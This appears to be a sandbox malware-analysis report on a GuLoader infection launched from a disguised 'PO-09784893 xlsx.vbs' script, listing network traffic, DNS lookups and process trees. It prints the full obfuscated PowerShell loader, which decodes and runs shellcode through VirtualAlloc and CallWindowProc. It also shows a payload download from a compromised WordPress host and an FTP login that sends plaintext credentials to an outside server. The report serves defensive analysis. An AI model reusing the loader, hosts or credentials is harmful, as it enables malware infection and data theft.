Nov 28, 2022 18:48:19.006086111 CET	21	49819	185.31.121.136	192.168.11.20
Nov 28, 2022 18:48:19.006444931 CET	49819	21	192.168.11.20	185.31.121.136
Nov 28, 2022 18:48:19.077961922 CET	21	49819	185.31.121.136	192.168.11.20
Nov 28, 2022 18:48:22.121335983 CET	21	49819	185.31.121.136	192.168.11.20
Nov 28, 2022 18:48:22.125658989 CET	49819	21	192.168.11.20	185.31.121.136
Nov 28, 2022 18:48:22.158265114 CET	21	49819	185.31.121.136	192.168.11.20
Nov 28, 2022 18:48:22.158513069 CET	49819	21	192.168.11.20	185.31.121.136
Nov 28, 2022 18:48:22.158574104 CET	21	49819	185.31.121.136	192.168.11.20
Nov 28, 2022 18:48:22.158799887 CET	49819	21	192.168.11.20	185.31.121.136
Nov 28, 2022 18:49:57.541285038 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:49:57.915695906 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:49:58.650110006 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:50:00.118350983 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:50:03.039535999 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:50:08.881932020 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:50:20.566983938 CET	49816	80	192.168.11.20	192.185.145.188

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2022 18:48:07.610390902 CET	54138	53	192.168.11.20	1.1.1.1
Nov 28, 2022 18:48:07.634459972 CET	53	54138	1.1.1.1	192.168.11.20
Nov 28, 2022 18:48:18.758641958 CET	60447	53	192.168.11.20	1.1.1.1
Nov 28, 2022 18:48:18.900638103 CET	53	60447	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2022 18:48:07.610390902 CET	192.168.11.20	1.1.1.1	0x240e	Standard query (0)	b3solutionscws.com	A (IP address)	IN (0x0001)	false
Nov 28, 2022 18:48:18.758641958 CET	192.168.11.20	1.1.1.1	0x51b4	Standard query (0)	ftp.mcmprint.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2022 18:48:07.634459972 CET	1.1.1.1	192.168.11.20	0x240e	No error (0)	b3solutionscws.com		192.185.145.188	A (IP address)	IN (0x0001)	false
Nov 28, 2022 18:48:18.900638103 CET	1.1.1.1	192.168.11.20	0x51b4	No error (0)	ftp.mcmprint.net		185.31.121.136	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

b3solutionscws.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49816	192.185.145.188	80	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
Nov 28, 2022 18:48:08.776026011 CET	136	OUT	GET /wp-admin/includes/yyXYRRIJkuolPn153.fla HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: b3solutionscws.com Cache-Control: no-cache
Nov 28, 2022 18:48:08.907953024 CET	137	IN	HTTP/1.1 200 OK Date: Mon, 28 Nov 2022 17:48:08 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Last-Modified: Mon, 28 Nov 2022 13:09:16 GMT Accept-Ranges: bytes Content-Length: 213568 Data Raw: c5 0a d5 3a c8 28 5c 52 e6 d2 8d 1e 7a 2d b3 6f 04 64 10 12 ea 01 16 d3 e6 7f 69 ae d3 08 35 bf d9 fe e9 0c e4 a7 3c 7a 96 7c b7 57 91 b4 f7 10 20 26 f4 dd 59 ae 61 27 0b d0 83 5d 6e 72 7b 19 76 c3 aa d6 72 f0 72 b5 3b b9 62 38 3d dd 69 18 1a 91 35 6d 3c 74 68 89 02 76 ff 45 8d e9 24 3e 14 e6 ee f1 f6 cf 35 f3 fe 16 14 2b 0e 5b 4e c7 d9 93 48 c6 d7 32 a9 d0 0c eb c1 d3 bb 82 c9 5f a2 4f ee b7 f7 f0 1f 2e 74 fc 7e cd 1f de 1e 3b e6 1a 11 77 61 95 84 f4 a1 cf 28 21 a4 32 2b 79 a4 a9 eb 24 bc 33 0a 21 de ae ff 8d 3f 6a c1 e8 c6 33 49 a4 1d 2a d9 3a 1d b5 a6 d7 f9 ce a2 43 1c f0 a3 73 f9 92 90 50 65 25 59 f2 f5 0a 1a 0c cd eb c0 39 ef 94 2e fd 27 63 73 af 01 b5 2b 38 6b a3 a3 67 fb b7 ee 72 ea 35 7b f3 91 93 02 d3 90 e1 59 3e 58 84 00 9f ac 18 42 18 5a f1 99 96 df 74 cd 30 07 9b 88 6b 5e 06 10 de 5f a7 f7 71 4b 61 71 10 42 51 bb de 36 40 ce 47 88 65 f0 48 56 e6 e5 3b 50 50 58 35 da c3 5b fa b3 85 a2 8b 30 5f 33 d3 b3 d8 2a c5 84 06 cb d3 ea 76 eb c7 3a 7e 75 6e e1 02 45 eb 52 03 7f d1 4a 10 d9 4f 0c 89 7a af bb 95 62 3e 6c 99 a8 af 3d d2 54 2b a1 72 c0 a5 ca 24 73 62 ce 10 94 c6 de ab 69 d9 98 9a a0 8d 7e 33 6a 29 c8 c8 d9 96 95 ba 96 46 5f b9 56 ba fb c7 50 73 f1 3a ea 12 c2 9b a8 e1 d5 c9 8f b4 9a c3 79 9a c2 f0 4b 64 cf ad f3 32 9c d5 7b e5 6d aa 5e 1d f2 7f a3 93 a0 18 68 a1 99 02 28 64 00 c3 66 8c fa 27 1a 3e 40 24 1e 50 43 2a 0f b4 00 20 17 aa 31 be 76 f1 8b 90 51 3b 26 31 da 53 30 c9 c3 54 ff 9a 8f 08 02 cf ee 3e 47 eb ed 77 da e2 33 f2 d0 47 59 d8 cf 9e ac eb c1 61 ca 31 50 35 17 a2 ff 88 90 b3 99 43 95 9c 14 1b ad fa ed 23 5e 15 80 6b 2d 67 5a cc 64 52 0c e0 1d 05 6f 78 79 a1 8b 93 59 31 b9 15 4f 3c 0f 71 a8 27 5c fe 65 49 cd 4a 95 32 cd e9 0c 67 05 15 74 be 10 4b 67 a1 08 f6 ea 48 71 0d 8e 5f 22 80 1c 01 ea f8 d1 af 39 34 3a 7a 59 f9 a9 7b ce 1c 8e eb 4a c3 ff 26 10 3d ba 90 45 a7 87 27 17 18 1d 2f fd 7d a5 be ac d3 23 ac f8 7a ea 91 62 58 d1 78 88 2d ac a3 c3 09 d5 10 ac 76 cc 25 51 50 29 da 51 2c 2f bf 67 37 85 22 19 15 8e 9c 55 39 36 56 a4 79 1f 8c ed 07 69 0e 7a 7f f8 c1 bf 0f cc e8 0e 19 60 80 69 67 51 e6 d8 fb 08 fb 2c 3e 14 7a a9 99 ea 58 f1 4a d2 c3 ae 70 5c b3 39 cc 40 04 c3 73 74 26 93 68 ba 58 38 a4 ef 16 7f cf a5 10 dd 66 d6 a5 0c 55 d6 07 2c 73 1b 41 c7 93 02 1b 40 4b c0 91 fd 97 04 83 e4 3f f3 5a ab d8 e0 dd ec 62 15 28 0d 36 fa 31 44 a2 f6 b3 22 16 eb f8 b4 f9 89 a3 c3 ea 2f 2c 11 09 7f 76 02 1f 23 8a df 28 d9 8a 29 7a af 33 7b 85 ff 9e 03 d6 2a ee ba 12 b7 97 7c 7f 93 48 73 40 0b 3a a9 46 50 0e 4c 42 a6 08 21 6b 56 ee 72 99 12 6c 8e bd a0 88 47 9e 99 06 38 79 28 9a 8a 46 58 f6 77 e2 20 9e b9 fa 98 d0 38 c1 c4 81 f8 51 c5 63 6c c8 f5 c4 9a 1e b8 06 a2 07 ed d5 1e 8b 50 72 c6 4d 73 62 f5 f2 85 42 a2 9a d2 28 1e c4 e2 01 6f 18 f4 b3 73 c9 5c c0 20 d4 b2 a5 dd 1a cc 47 22 d7 61 9e 40 7d 98 68 af d1 69 07 15 63 55 d9 70 63 1b ff 03 3f f6 37 d6 71 fa 58 a6 0f bb 62 16 c2 22 69 1d a2 91 24 7b 37 5f 73 89 45 61 01 44 a1 eb 3c 35 14 e1 f8 0f f7 e3 37 e4 f5 16 13 33 f0 5a 62 c5 f2 91 63 25 d5 31 81 c1 0c eb cb fb 29 82 c9 55 86 50 54 aa c7 46 16 cb 55 44 7f 87 d2 ff 5b 45 84 42 2a 07 14 ed 1d 87 ec a0 10 49 c5 5b 53 e8 d1 a5 8b 56 97 41 78 57 00 c6 bd af 50 27 b9 2b a9 74 3e c1 33 2d fe 23 09 b7 a6 fb f9 ce a2 44 4c b5 b2 65 be b8 88 50 61 35 e1 90 d9 08 02 07 cd ec d6 c7 0e b8 2e Data Ascii: :(\Rz-odi5<z\|W &Ya']nr{vrr;b8=i5m<thvE$>5+[NH2_O.t~;wa(!2+y$3!?j3I:CsPe%Y9.'cs+8kgr5{Y>XBZt0k^_qKaqBQ6@GeHV;PPX5[0_3v:~unERJOzb>l=T+r$sbi~3j)F_VPs:yKd2{m^h(df'>@$PC* 1vQ;&1S0T>Gw3GYa1P5C#^k-gZdRoxyY1O<q'\eIJ2gtKgHq_"94:zY{J&=E'/}#zbXx-v%QP)Q,/g7"U96Vyiz`igQ,>zXJp\9@st&hX8fU,sA@K?Zb(61D"/,v#()z3{\|Hs@:FPLB!kVrlG8y(FXw 8QclPrMsbB(os\ G"a@}hicUpc?7qXb"i${7_sEaD<573Zbc%1)UPTFUD[EBI[SVAxWP'+t>3-#DLePa5.
Nov 28, 2022 18:48:08.908020973 CET	138	IN	Data Raw: eb 27 62 7c b7 ff 8e 04 3a 40 a7 88 84 2b b2 ee 72 86 45 6c f3 91 b9 28 c0 a0 e3 59 16 58 84 40 97 ac 38 53 0e 51 d8 82 96 dc 63 33 31 2b 99 90 60 5a 01 06 20 5e 8b f5 66 40 c1 75 08 bc 52 97 dc 1d 42 e5 a4 88 4d a5 cd 56 ec df 28 60 42 58 76 da Data Ascii: 'b\|:@+rEl(YX@8SQc31+`Z ^f@uRBMV(`BXvK;tv8-viDXaRbq?@=B$tx0BN1j9EMPhSK+9jfF]@fXA,\|9l1
Nov 28, 2022 18:48:08.908077002 CET	140	IN	Data Raw: c7 09 c4 14 b3 60 32 24 7d 5a 20 b5 7d 2c 2f b5 78 20 96 26 19 04 8a 83 5f c5 1f 7b bf 70 35 c6 19 05 41 74 6b 7f f2 ef 31 52 ca e8 04 cb 8c ee 46 67 55 9f c0 ee 1b f5 ac 2d 10 65 a7 14 e3 74 f8 68 d0 c0 ae 76 47 cb 23 c8 40 1f 47 68 78 d8 96 6e Data Ascii: `2$}Z },/x &_{p5Atk1RFgU-ethvG#@Ghxn& j\|[#y^6l`K,0VM'iW"@=% lc!.}[{+zg`qzRS"Nm;;K\D.c+{AI"eZnb5)J~
Nov 28, 2022 18:48:08.908129930 CET	141	IN	Data Raw: 3e 27 dd 28 c7 b4 8a db 87 c6 a2 43 48 8f 9b 8c 4a 6c 8a 5d 66 2b 00 9b 0b 0b 36 53 cf 84 8d 39 0f 9e 37 71 34 62 7b ae 0d 87 3e 10 0c a7 a3 61 59 bf f9 0c 99 6d 78 f7 b9 e5 00 d3 96 c9 1e 3c 58 82 2f d0 ac 38 48 ba 52 eb b1 fe d9 74 cb 92 0f 82 Data Ascii: >'(CHJl]f+6S97q4b{>aYmx<X/8HRt;ZMmKv8SHogiP@RK9Fw:+vgDPtq[xf&Q+$ss,~3`#F_Sos:eRyKd+(mv
Nov 28, 2022 18:48:08.908184052 CET	142	IN	Data Raw: 15 f5 49 77 3d ba 9a 72 a1 af 59 15 18 1b 28 92 41 a4 be aa ad 3d ac f8 7e c2 b7 62 58 db 17 ec 2d ac a9 e5 0f fd 69 ae 76 ca 22 3e 6e 28 da 57 52 31 bf 67 33 ad 04 19 15 84 f3 2f 3b 1e 5d 82 7f 3d dc f1 05 47 0d 15 3d f3 eb 1f 02 d4 e8 0e 17 c8 Data Ascii: Iw=rY(A=~bX-iv">n(WR1g3/;]=G=ig_:je7@RbZn@yhJ)jSf ,pKN(]2I?xHh<% m /LV+kbz4%RHn!mtc
Nov 28, 2022 18:48:08.908236980 CET	143	IN	Data Raw: 36 31 07 19 26 f2 8f af df 08 42 cf 82 49 07 d9 a5 8e 50 95 2e 20 4f fe cd 4d bc 73 4a ee c8 ab 56 3c c9 5c 40 d4 30 33 6b aa c6 f1 e2 a5 52 44 da fc 73 b5 99 4f 2e 6a 22 1f 95 d9 3f 0b 0a b6 dc c0 39 0b fb 52 fc 2c 68 57 b6 10 89 53 0f 6b a5 a7 Data Ascii: 61&BIP. OMsJV<\@03kRDsO.j"?9R,hWSkr\|~aY>RZL8Br\ZSqKh/6BGV;PY5K0]3v+1"*vnERa\|ROzoc>l=T+rbk~3j)F_V
Nov 28, 2022 18:48:08.908292055 CET	145	IN	Data Raw: 71 a9 80 67 45 b0 0c e1 70 60 60 0d 8e 55 a2 c0 1f 01 eb d0 c5 af 71 3e 12 db 5b f9 a6 0f fa 9d 8c ea 26 0c ff 26 17 3b ae b8 d9 a5 87 27 0f 95 1a 2f fd 7c b6 ba bd d7 35 84 77 78 ea 97 c0 49 d5 6f 8b 8f bd a7 ce 00 c1 04 b4 fb 9f 25 51 51 3a df Data Ascii: qgEp``Uq>[&&;'/\|5wxIo%QQ:@)9&5\Ws3&Zvq1mif}<pXYE0hXAwr@^DY`^*fVc>Y!:^D/,T] /bg+z
Nov 28, 2022 18:48:08.908422947 CET	146	IN	Data Raw: 4f eb d2 9a 51 ee 49 30 a9 d6 ae f6 d2 d7 3b 93 cd 45 52 51 78 a1 fe 53 3e b3 55 44 75 8d c0 fd 62 ce 8d 69 37 2f 42 fa e3 8c 62 b9 1b 46 c5 4d 41 09 db 77 88 6d 90 48 61 31 e0 c7 91 a9 d9 3a 9e db af 5c 3c c5 2c 30 2a 31 15 af a1 ff 5a cc a2 45 Data Ascii: OQI0;ERQxS>UDubi7/BbFMAwmHa1:\<,0*1ZE2sPf&7=(%z4aYamiP!W>Ip!fSAu`FS.kz@N:]YK1Ok=V,y(r&9{.RMiTR z;b>f;.T:
Nov 28, 2022 18:48:08.908478975 CET	148	IN	Data Raw: 52 11 c8 b1 07 6f fe 09 62 8b 91 53 3d b1 3a 88 3c 0f 7b a5 59 68 fe 65 43 c6 43 fa f7 8d e9 06 36 03 3e 2c af 16 24 a1 a1 08 fc 9e 22 71 0d 8f 4c 76 df 61 35 ea f8 db c0 ba 34 3a 70 77 d5 bd 7f ca 30 8e eb a0 7a 33 26 13 37 92 5d 54 a7 8d 0d 05 Data Ascii: RobS=:<{YheCC6>,$"qLva54:pw0z3&7]TS#bRiBb8t#/d)[C`g=3zDK13zuP ^gU A<pXRqD0@C&BX+SZ0@E,Zcv<<4W7Di7H=M
Nov 28, 2022 18:48:08.908534050 CET	149	IN	Data Raw: 3c c2 33 6d 0f 5c 90 19 6e 24 67 6c 89 53 72 e4 bb 8c c5 23 37 1c 7c e5 ed e5 cb 35 e2 fa 0e ea 2a 22 55 66 7c db 93 4e ee 08 32 a9 da 01 f2 d2 d7 3b 93 cd 46 52 51 78 bc e1 48 0c f0 51 44 6e 85 c4 01 4b 7f 8c 7e 22 03 13 eb e7 98 3e a3 24 40 ee Data Ascii: <3m\n$glSr#7\|5*"Uf\|N2;FRQxHQDnK~">$@Y}n/vvIsGI&3^-3'9BEdjs[M>oc3,bq9(2p-zJ-Y>X@8N>Z\|5MZ{@f8Q GdBo;PJLgK0^ <0^
Nov 28, 2022 18:48:09.024749994 CET	150	IN	Data Raw: c5 91 43 eb c1 6f e2 e3 52 09 12 cd 12 88 90 b9 f6 ad 95 9c 1e 08 a1 eb a1 37 76 86 ac 19 4e 13 b8 a8 64 52 01 f3 0c 14 7e ee 52 f7 89 91 5f 93 a8 44 5b 14 f5 70 a8 21 fe ef 74 5d d9 5e bd a8 8d e9 06 0d 14 15 74 b4 03 47 76 ad 1c de 3e 4a 71 0b Data Ascii: CoR7vNdR~R_D[p!t]^tGv>Jqugx[j&)FV6/nyz3sJl6v6]F:@ ;5$K:Ek&An1}sAEzp@RmI!qR\|g"N)>M<

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 28, 2022 18:48:18.973593950 CET	21	49819	185.31.121.136	192.168.11.20	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:48. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:48. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:48. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:48. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Nov 28, 2022 18:48:18.973908901 CET	49819	21	192.168.11.20	185.31.121.136	USER noffice@mcmprint.net
Nov 28, 2022 18:48:19.006086111 CET	21	49819	185.31.121.136	192.168.11.20	331 User noffice@mcmprint.net OK. Password required
Nov 28, 2022 18:48:19.006444931 CET	49819	21	192.168.11.20	185.31.121.136	PASS 2K-0}h.[5hb)
Nov 28, 2022 18:48:22.121335983 CET	21	49819	185.31.121.136	192.168.11.20	530 Login authentication failed
Nov 28, 2022 18:48:22.158265114 CET	21	49819	185.31.121.136	192.168.11.20	530 Logout.

Target ID:	0
Start time:	18:46:42
Start date:	28/11/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-09784893 xlsx.vbs"
Imagebase:	0x7ff688f30000
File size:	170496 bytes
MD5 hash:	0639B0A6F69B3265C1E42227D650B7D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	2
Start time:	18:46:43
Start date:	28/11/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	CMD.EXE /c echo C:\Windows
Imagebase:	0x7ff66adc0000
File size:	289792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	3
Start time:	18:46:43
Start date:	28/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6297d0000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	5
Start time:	18:47:03
Start date:	28/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelkuITamBlpLdoChrLutBa(An`"""SegAddFriFr3af2Tr`"""No)Ga]GlpFruFobSclIriLecDo UmscatOuaNytCeiStcfo DieTjxbltMoefurkinSc FliBlnSttSi DoPmatKrVFuiImsSuiNobHelSaeAf(PeiBrnSktSt BjSsnaKutAf,PaiCynIntRo ciAPssPspKoafa,LsiSenbatsl JePRerTajSesTiiUnsTg)su;Ny[HuDSalGalTjIOlmSepAropirRetLe(Vi`"""DeuLesAfeSmrFo3Bu2An`"""pa)Sw]SkpAcuDibinlKriNrcBl TasUntBiaPotAniIncCh CoeFrxPltLoeUnrPenTo HyiTunprtMa jaGPreFotBuMSkeSpsNssBeaMagAieTi(PoiinnautSl TyGTuiChrDi,TriLanHotSt AmSSitTorDoaFa,SkibanRetin PrkBeiInpPrkRoaLalBo,AdiAnnAntGe UlFBeiRerNr)So;Kh[InDHolRilRkIGumrepfloGarIstLa(Pa`"""PekEseSkrArnSaeChlMe3An2ti`"""Ji)Ca]SapCeuCabAflReiTocUn PesCltLiaSetOciDacCh KoeAlxUntPreDerNinCi DiiFonPltFl DuVPoiSarFotHeuOgaThlFeAUnlMolSeoDicRe(TrisknSytDo SevNe1Ko,KaiBanBetNi PrvKn2Bi,HeiBanAmtMo InvSt3Bu,CoiMunMitTr Sivti4To)Tr;Bl[MaDinlDelJuISvmMepKboMirRitVi(Gr`"""DiAToDboVToAMaPMiIHa3Hv2Ho.BrDDeLKaLUn`"""Ru)Am]RgpKauTybVilDaiUncCh TosNetUnaMetUniBrcSe SeeNexEntIneDarBinQu AriStnSttOp RaRDoeTrgLiLOvopsaDadOpKHoeFryFr(SiiPhnSatIn syDZaaHocUnrImyBa,FaiUnnaltFo SpSSatHaoUnrPr,TiiHinPutBu NoONanEscfi)He;Po[noDCelHalBlIStmUnpUnoDarArtGi(Ge`"""SpgundSliMo3Sp2Pa`"""Em)Ti]AlpDiuFabTrlLiiChcGe PosKotHoaCetFliStcSe TreLsxRetAceUrrConBa FoiInnMitTr DdWAeiGedKaePrnfiPTjaSttBlhVe(StiHanTutIs TeOGabBydBauTr)St;Ra}Fj'Al;Bj`$DdTPohPawPlaRerFrtFrnvieVisDesSh3Gu=Fr[UdTPshRewKaaOnrSetPjnTreScsWosAr1Ov]Ca:Kn:frVMaiVirSetheuHoaVelStANulArlFooNocSu(So0Nu,Re1Mi0Cl4Ha8Mi5Pr7Ka6Mo,Un1Un2Fr2Br8Ce8Sm,pe6Tr4po)jo;Se`$ReNWiaCreFggLaaAntTaePu=Mi(NoGBleMntBu-ScIPatCieNemAuPDyrFooKupSleKurTrtInyKa Tv-haPBaaExtLohLi Ch'GyHFiKSuCSeUEn:Fr\InTVorMuekaeUotPsiSksIneFu\SkFAneDijStlErtCaoCalHvkBlnPoiPrnNegCheBanovsMu1Ef6Fo0Ka'Ha)Ci.TiHBaeSulViafofSotBoeHonElsSlfMoiKolLomSyeLnnResBr;Ft`$FoVToiJalKrlfeiPagPesRetAreKnsSy Ne=Tv Rl[VoSCyyKnsadtLeeAdmSk.OuCAdoUnnHevnoeFirNotSi]Ov:Ac:RaFMurZeoKmmevBBeaNysMueRe6Un4MoSSltRerStiUnnCogKl(Ga`$StNChaGeePrgAuaLotObeFa)Me;Kv[SoSGryBesMatEmeSmmFe.crRInuGrnLetRiiStmdeeIm.KaIFrnAjtFleOprcroBepPrSGaeGrrSnvIniGncOveHosFa.HaMInaVerGosFrhAnaAllBl]Fr:El:WaCVaoVapCoyir(Un`$HiVTriSilSwlShiSagCosartFreSlsCa,Br ca0Gs,Ru Be Cr`$HeTRehBewBiaWorFltUnnOveUnsHysVa3Ug,By Zy`$BiVSpiSalGrlKoiSvgKrsLitUdeDrsAd.HecMioPouAjnCttHa)Ov;Me[HyTBuhPrwFyausrAntBenMaeMospasHo1In]Je:Sa:HoEtrnBiuPimFrSBrycesditBeeKamUdLAeoDrcKoaGelOpeLesGeWVi(Bo`$feTSahSkwJoaEnrCitPrnPeeSasTossi3Bi,be Kr0De)rh#Te;""";Function Thwartness4 { param([String]$HS); For($i=2; $i -lt $HS.Length-1; $i+=(2+1)){ $Sallowy = $Sallowy + $HS.Substring($i, 1); } $Sallowy;}$Fictioneer0 = Thwartness4 'UdIReEDiXSk ';$Fictioneer1= Thwartness4 $Saudiarabiske;&$Fictioneer0 $Fictioneer1;;
Imagebase:	0x720000
File size:	433152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000005.00000002.2688111783.0000000009190000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Target ID:	6
Start time:	18:47:03
Start date:	28/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6297d0000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	9
Start time:	18:47:34
Start date:	28/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.cmdline
Imagebase:	0xdf0000
File size:	2141552 bytes
